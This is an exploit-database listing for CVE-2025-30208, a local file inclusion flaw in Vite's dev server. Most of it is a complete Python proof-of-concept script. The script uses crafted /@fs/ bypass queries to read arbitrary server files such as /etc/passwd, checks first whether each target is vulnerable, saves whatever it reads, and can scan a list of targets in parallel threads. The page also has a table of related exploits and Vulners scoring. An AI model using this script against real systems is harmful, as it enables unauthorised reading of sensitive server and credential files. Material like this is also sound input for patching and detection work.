Lucene search
K

📄 Vite Local File Inclusion

🗓️ 30 Jun 2025 00:00:00Reported by nu11secur1tyType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 178 Views

CVE-2025-30208: Vite local file inclusion allows reading arbitrary server files via crafted bypass queries.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2025-30208
26 Mar 202515:42
githubexploit
GithubExploit
Exploit for CVE-2025-30208
26 Mar 202519:06
githubexploit
GithubExploit
Exploit for CVE-2025-30208
26 Mar 202517:14
githubexploit
GithubExploit
Exploit for Improper Access Control in Vitejs Vite
4 Mar 202607:29
githubexploit
GithubExploit
Exploit for CVE-2025-30208
3 Apr 202511:46
githubexploit
GithubExploit
Exploit for CVE-2025-30208
27 Mar 202512:36
githubexploit
GithubExploit
Exploit for CVE-2025-30208
27 Mar 202512:55
githubexploit
GithubExploit
Exploit for CVE-2025-30208
24 Apr 202510:53
githubexploit
GithubExploit
Exploit for CVE-2025-30208
25 Jun 202519:04
githubexploit
GithubExploit
Exploit for CVE-2025-30208
31 Mar 202513:43
githubexploit
Rows per page
# Titles: CVE-2025-30208 - Vite `@fs` LFI (Local File Inclusion) Vulnerability
    # Author: nu11secur1ty
    # Date: 01/09/2025
    # Vendor: https://vite.dev/
    # Software: https://github.com/vitejs/vite
    # Reference: https://vite.dev/config/server-options.html#server-fs-allow >
    https://cwe.mitre.org/data/definitions/22.html >
    https://owasp.org/www-community/attacks/Path_Traversal
    
    ## Description:
    This PoC targets a Local File Inclusion (LFI) vulnerability via Vite's @fs/
    path mechanism, allowing attackers to read arbitrary files on the server
    where a vulnerable Vite dev server is exposed. By abusing @fs/ with crafted
    bypass queries (?raw??, ?import&raw, etc.), attackers can access system
    files.
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    ```
    #!/usr/bin/python
    # nu11secur1ty
    import requests
    import argparse
    import urllib3
    import concurrent.futures
    import re
    import os
    from urllib.parse import urlparse, urlunparse
    
    # Suppress SSL warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    # Common LFI paths and indicators for verification
    LINUX_PATHS = [
        ("/etc/passwd", "root:/bin/bash"),
        ("/etc/hosts", "127.0.0.1"),
    ]
    WINDOWS_PATHS = [
        ("C:/windows/win.ini", "[fonts]"),
        ("C:/boot.ini", "[boot loader]"),
    ]
    
    def sanitize_filename(text):
        """Sanitize string to be used as filename."""
        safe = re.sub(r'[^\w\-]', '_', text)
        return re.sub(r'_+', '_', safe).strip('_')
    
    def log_result(content, url, output_dir):
        """Write exploitation result to a file."""
        filename = sanitize_filename(url)
        os.makedirs(output_dir, exist_ok=True)
        filepath = os.path.join(output_dir, f"{filename}.txt")
        with open(filepath, "w", encoding="utf-8") as f:
            f.write(f"[SUCCESS] {url}\n")
            f.write(content)
        print(f"[+] Saved to {filepath} :)")
    
    def fetch_url(url, proxy=None, timeout=5):
        """Fetch a URL with optional proxy."""
        proxies = {"http": proxy, "https": proxy} if proxy else None
        try:
            return requests.get(url, timeout=timeout, verify=False,
    proxies=proxies, allow_redirects=False)
        except requests.RequestException as e:
            return e
    
    def normalize_bypass_query(query: str) -> str:
        """Ensure the query string starts with a single '?'."""
        query = query.lstrip('?')  # remove all leading '?'
        return '?' + query
    
    def build_payload_path(fs_path, bypass_query):
        """Construct the /@fs path for LFI."""
        fs_path = fs_path.strip()
        if not fs_path.startswith("/"):
            fs_path = "/" + fs_path
        query = normalize_bypass_query(bypass_query)
        return f"/@fs{fs_path}{query}"
    
    def build_full_url(base_url, payload, scheme=None):
        """Build full URL properly handling scheme and netloc."""
        parsed = urlparse(base_url)
        if scheme is None:
            scheme = parsed.scheme or 'http'
        netloc = parsed.netloc or parsed.path  # Handles if base_url is
    'localhost:5173' (no scheme)
        path = '/' + payload.lstrip('/')
        return urlunparse((scheme, netloc, path, '', '', ''))
    
    def verify_vuln(base_url, bypass_query, os_type="linux", proxy=None):
        """Try known OS files to verify if @fs LFI is exploitable."""
        print(f"[*] Verifying {base_url} for OS: {os_type}")
        candidates = LINUX_PATHS if os_type.lower() == "linux" else
    WINDOWS_PATHS
        for path, indicator in candidates:
            payload = build_payload_path(path, bypass_query)
            for scheme in ["http", "https"]:
                full_url = build_full_url(base_url, payload, scheme)
                resp = fetch_url(full_url, proxy)
                if isinstance(resp, Exception):
                    print(f"[!] Request error for {full_url}: {resp}")
                    continue
                print(f"[DEBUG] Checking {full_url} - Status:
    {resp.status_code}")
                snippet = resp.text[:100].replace('\n', ' ') if resp.text else
    ''
                print(f"[DEBUG] Response snippet: {snippet}")
                if resp.status_code == 200 and indicator in resp.text:
                    print(f"[+] Verified @fs LFI on {full_url} (found indicator
    '{indicator}')")
                    return True
        return False
    
    def exp(base_url, fs_path, bypass_query, os_type="linux", proxy=None,
    output_dir="results"):
        """Run actual payload exploit."""
        payload = build_payload_path(fs_path, bypass_query)
        for scheme in ["http", "https"]:
            full_url = build_full_url(base_url, payload, scheme)
            resp = fetch_url(full_url, proxy)
            if isinstance(resp, Exception):
                print(f"[!] Request error for {full_url}: {resp}")
                continue
            if resp.status_code == 200:
                print(f"[+] Exploited: {full_url}")
                log_result(resp.text, full_url, output_dir)
                return full_url
            else:
                print(f"[FAIL] {full_url} → {resp.status_code}")
        return None
    
    def exp_single(base_url, fs_path, bypass_query, os_type="linux",
    proxy=None, output_dir="results"):
        """Verify then exploit single target."""
        if verify_vuln(base_url, bypass_query, os_type, proxy):
            print(f"[*] Exploiting {base_url} with {fs_path}")
            exp(base_url, fs_path, bypass_query, os_type, proxy, output_dir)
        else:
            print(f"[-] Not vulnerable: {base_url}")
    
    def exp_batch(file_path, fs_path, bypass_query, os_type="linux",
    proxy=None, output_dir="results", max_workers=10):
        """Verify and exploit batch targets."""
        with open(file_path, "r") as f:
            targets = [line.strip() for line in f if line.strip()]
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as
    executor:
            futures = {
                executor.submit(exp_single, target, fs_path, bypass_query,
    os_type, proxy, output_dir): target
                for target in targets
            }
            for future in concurrent.futures.as_completed(futures):
                _ = future.result()
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="CVE-2025-30208 PoC for
    Vite @fs LFI")
        parser.add_argument("-f", "--file", help="File with targets (one per
    line)")
        parser.add_argument("-u", "--url", help="Single target (e.g.,
    http://localhost:5173)")
        parser.add_argument("-p", "--path", default="/etc/passwd", help="Path
    to try read (default: /etc/passwd)")
        parser.add_argument("-b", "--bypass", default="?raw??", help="Bypass
    query (?raw??, ?import&raw, etc.)")
        parser.add_argument("--proxy", help="Proxy like http://127.0.0.1:8080")
        parser.add_argument("-o", "--output", default="results",
    help="Directory to save result files")
        parser.add_argument("-t", "--threads", type=int, default=10,
    help="Number of concurrent threads (default: 10)")
        parser.add_argument("--os", choices=["linux", "windows"],
    default="linux", help="Target OS for verification/exploitation (default:
    linux)")
        args = parser.parse_args()
    
        if args.url:
            exp_single(args.url, args.path, args.bypass, args.os, args.proxy,
    args.output)
        elif args.file:
            exp_batch(args.file, args.path, args.bypass, args.os, args.proxy,
    args.output, args.threads)
        else:
            parser.print_help()
    ```
    
    # Reproduce:
    [href](https://www.youtube.com/watch?v=HXPYMImbEhg)
    
    
    # Time spent:
    01:25:00

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jun 2025 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.15.3
EPSS0.89847
SSVC
178